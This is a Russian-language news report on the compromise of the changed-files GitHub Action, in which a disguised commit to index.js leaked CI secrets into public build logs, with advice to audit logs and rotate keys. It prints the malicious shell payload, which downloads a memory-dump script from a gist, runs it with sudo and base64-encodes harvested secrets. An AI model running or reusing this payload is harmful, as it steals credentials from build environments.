Выявлена компрометация обработчика changed-files в GitHub Actions, используемого в более 23 тыс. репозиториях

Исследователи по ИБ из StepSecurity обнаружили компрометацию в GitHub Actions проекта обработчика changed‑files. Это открытое решение, позволяющее автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push‑запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull‑запросов. Обработчик changed‑files используется в более чем 23 тыс. репозиториях, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.

По информации OpenNET, в репозиторий changed‑files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed‑files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.

Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию bash в файле index.js.

if ; then  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`  echo $B64_BLOBelse  exit 0fi

Коммит был размещён от имени бота renovate, предназначенного для автоматизации операций по обновлению зависимостей. Скорее всего этот бот использовался для запутывания следов, так как коммит был помечен как неверифицированный и не принадлежащий ни к одной ветке в репозитории changed‑files. Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк. Например, при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми.

Примечательно, что атакующий добился добавления вредоносного коммита почти во все git‑теги и релизы проекта changed‑files, без отображения в git‑логе коммитов в соответствующих ветках. В качестве предположений как он мог этого добиться упоминалось создание форка репозитория, размещения в нём вредоносного кода и обновления всех тегов в родительском репозитории с учётом нового SHA‑хэша форка. По предположению другого разработчика, атакующий добавил коммит в ветку main, перенаправил все теги на данную ветку, после чего откатил ветку main на предыдущий коммит.

Материал опубликован при поддержке сайта habr.com
Комментарии

    Актуальные новости по теме "Array"